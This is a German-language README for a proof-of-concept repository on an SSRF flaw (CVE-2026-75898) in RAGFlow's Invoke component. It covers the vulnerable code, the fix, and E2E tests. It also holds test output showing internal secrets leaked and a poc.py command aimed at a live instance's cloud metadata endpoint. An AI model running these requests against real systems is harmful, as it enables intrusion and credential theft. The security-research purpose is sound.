
Proof-of-Concept für CVE-2026-75898, eine SSRF-Schwachstelle in der Invoke-Komponente von RAGFlow. Demonstriert die Schwachstelle mit unverändertem Quellcode, enthält E2E-Tests, Fix-Vergleich und Docker-basierte Reproduktion für autorisierte Sicherheitstests.
| CVE | CVE-2026-75898 |
| CVSS | 8.5 (CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:L/A:N) |
| Behoben in | v0.26.3 |
| Fix-Commits | c4fe68e, e16d1a0 |
| Issue-Referenzen | infiniflow/ragflow#15425, #18280 |
| Advisory | VulnCheck |
In agent/component/invoke.py von v0.26.2 konstruiert die Invoke-Komponente die
Request-URL aus benutzerdefinierten Variablenvorlagen und führt keine Validierung
des aufgelösten Hosts durch:
def _build_url(self, kwargs: dict) -> str:
url = self._resolve_template_text(self._param.url.strip(), kwargs)
if not url.startswith(("http://", "https://")):
url = "http://" + url
return url
Diese URL erreicht requests.get/post/put in _send_request(). Da
allow_redirects auf den requests-Standardwert (True) gesetzt bleibt, kann ein Angreifer:
url auf eine interne Adresse setzen (127.0.0.1, 169.254.169.254,
RFC1918-Bereiche, eine Pinning des aufgelösten Hosts existiert nicht), oderDer Fix fügt assert_url_is_safe() + pin_dns() hinzu und erzwingt
allow_redirects=False.
Im Gegensatz zu „ähnlich aussehenden“ Neuimplementierungen führt dieses Repository den unveränderten v0.26.2-Quellcode der verwundbaren Komponente aus:
target/invoke_v0.26.2.py — bytegenaue Kopie von agent/component/invoke.py
aus dem v0.26.2-Tag.e2e/test_genuine_ssrf.py — lädt diese echte Datei hinter dünnen Import-Stubs
(der Stub ersetzt nur unzusammenhängende Importe: ComponentBase, den timeout-
Decorator und HtmlParser — keine der SSRF-Pfadlogik wird angefasst) und
beweist, dass die Komponente einen internen Dienst direkt und über eine Redirect-
Kette erreicht.e2e/test_fix_guard.py — wendet den Upstream-Guard (assert_url_is_safe,
allow_redirects=False) auf genau dieselbe Datei an und zeigt, dass die Requests
blockiert werden.Auf drei unabhängige Weisen validiert:
e2e/test_genuine_ssrf.py treibt
den unveränderten target/invoke_v0.26.2.py-Quellcode gegen Loopback-Lab-
Server an — SSRF bestätigt.e2e/test_fix_guard.py wendet den Upstream-Guard auf
dieselbe Datei an — blockiert.v0.26.2 (infinity+mysql+minio+valkey)
über docker compose; ein Invoke-Knoten in einem echten Agent-Flow holte
INTERNAL-DB-SECRET:dbpassword=SuperSecret123 von einem internen Host-Port.
Siehe LAB_DEMO.md für den wörtlichen Nachweis.cd e2e
python3 test_genuine_ssrf.py # muss „SSRF confirmed“ ausgeben (verwundbar)
python3 test_fix_guard.py # muss „BLOCKED“ ausgeben (behobenes Verhalten)
[1] Direct SSRF: url -> http://127.0.0.1:9380/internal/admin/reset
response: 'INTERNAL-SECRET-/internal/admin/reset' (X-Internal header: true)
[?] SSRF confirmed: internal service reached, secret leaked
[2] Redirect SSRF: url -> http://127.0.0.1:9381/ -> 302 -> 127.0.0.1:9380
final: 'INTERNAL-SECRET-/internal/redirected'
[?] SSRF via redirect chain confirmed
Erfordert ein authentifiziertes Session-Token (Invoke läuft innerhalb eines Agent-Flows).
python3 poc.py --poc # lokaler E2E-Test
python3 poc.py --check --target https://ragflow.example.com \
--token $TOKEN --invoke-url http://169.254.169.254/latest/meta-data/
Invoke-Knotens auf eine Allowlist beschränken.Behoben in RAGFlow v0.26.3 (Aug 2026). Dieser PoC wurde unabhängig aus dem öffentlichen Advisory und den Fix-Commits rekonstruiert, ausschließlich für autorisierte Sicherheitstests und Bildungszwecke. Nicht mit InfiniFlow verbunden.